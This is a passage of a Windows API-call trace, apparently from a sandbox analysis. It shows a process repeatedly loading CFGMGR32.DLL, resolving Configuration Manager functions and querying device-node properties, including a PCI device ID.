Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.586] malloc (_Size=0x48) returned 0x196ef0fb900 [0199.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57d22e29, dwHighDateTime=0x1d9eb0c)) [0199.586] SetEvent (hEvent=0x248) returned 1 [0199.591] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.592] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.592] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.621] malloc (_Size=0x18) returned 0x196ef0d1f60 [0199.621] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.622] malloc (_Size=0x48) returned 0x196ef0fb270 [0199.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57d76ab5, dwHighDateTime=0x1d9eb0c)) [0199.622] SetEvent (hEvent=0x248) returned 1 [0199.843] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.843] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.844] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.845] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.846] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.847] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.847] malloc (_Size=0x18) returned 0x196ef0d1c80 [0199.847] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.848] malloc (_Size=0x48) returned 0x196ef0fc030 [0199.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57f8554e, dwHighDateTime=0x1d9eb0c)) [0199.848] SetEvent (hEvent=0x248) returned 1 [0199.851] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.851] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.855] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.855] malloc (_Size=0x18) returned 0x196ef0d1a80 [0199.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0199.855] malloc (_Size=0x48) returned 0x196ef0fc170 [0199.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57fab821, dwHighDateTime=0x1d9eb0c)) [0199.855] SetEvent (hEvent=0x248) returned 1 [0199.860] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.860] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.862] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.863] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.864] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.864] malloc (_Size=0x18) returned 0x196ef0d1e60 [0199.864] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0199.871] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0199.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x57fd1b4c, dwHighDateTime=0x1d9eb0c)) [0199.871] SetEvent (hEvent=0x248) returned 1 [0199.875] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0199.875] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0199.875] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0199.875] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0199.875] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0199.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0199.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0199.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0199.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0199.876] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0199.877] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0199.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0199.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0199.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0199.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0199.878] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0199.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0199.879] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0199.880] malloc (_Size=0x18) returned 0x196ef0d1e80 [0199.880] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x31, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0199.881] malloc (_Size=0x48) returned 0x196ef0fbc20 [0199.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x57fd1b4c, dwHighDateTime=0x1d9eb0c)) [0199.881] SetEvent (hEvent=0x248) returned 1 [0200.048] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.048] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.051] malloc (_Size=0x18) returned 0x196ef0d1980 [0200.051] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x31, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0200.052] malloc (_Size=0x48) returned 0x196ef0fb680 [0200.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x58175373, dwHighDateTime=0x1d9eb0c)) [0200.052] SetEvent (hEvent=0x248) returned 1 [0200.055] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.055] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.055] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.056] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.057] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.058] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.058] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.058] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.058] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.058] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.058] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0200.058] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0200.059] malloc (_Size=0x48) returned 0x196ef0fbc70 [0200.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5819b608, dwHighDateTime=0x1d9eb0c)) [0200.059] SetEvent (hEvent=0x248) returned 1 [0200.063] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.063] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.064] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.065] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.066] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.067] malloc (_Size=0x18) returned 0x196ef0d1f00 [0200.067] CM_Get_Device_IDA (in: dnDevInst=0x32, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2930&SUBSYS_11001AF4&REV_02\\3&11583659&0&FB") returned 0x0 [0200.067] malloc (_Size=0x48) returned 0x196ef0fb950 [0200.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x5819b608, dwHighDateTime=0x1d9eb0c)) [0200.067] SetEvent (hEvent=0x248) returned 1 [0200.070] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.070] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.072] GetProcAddress 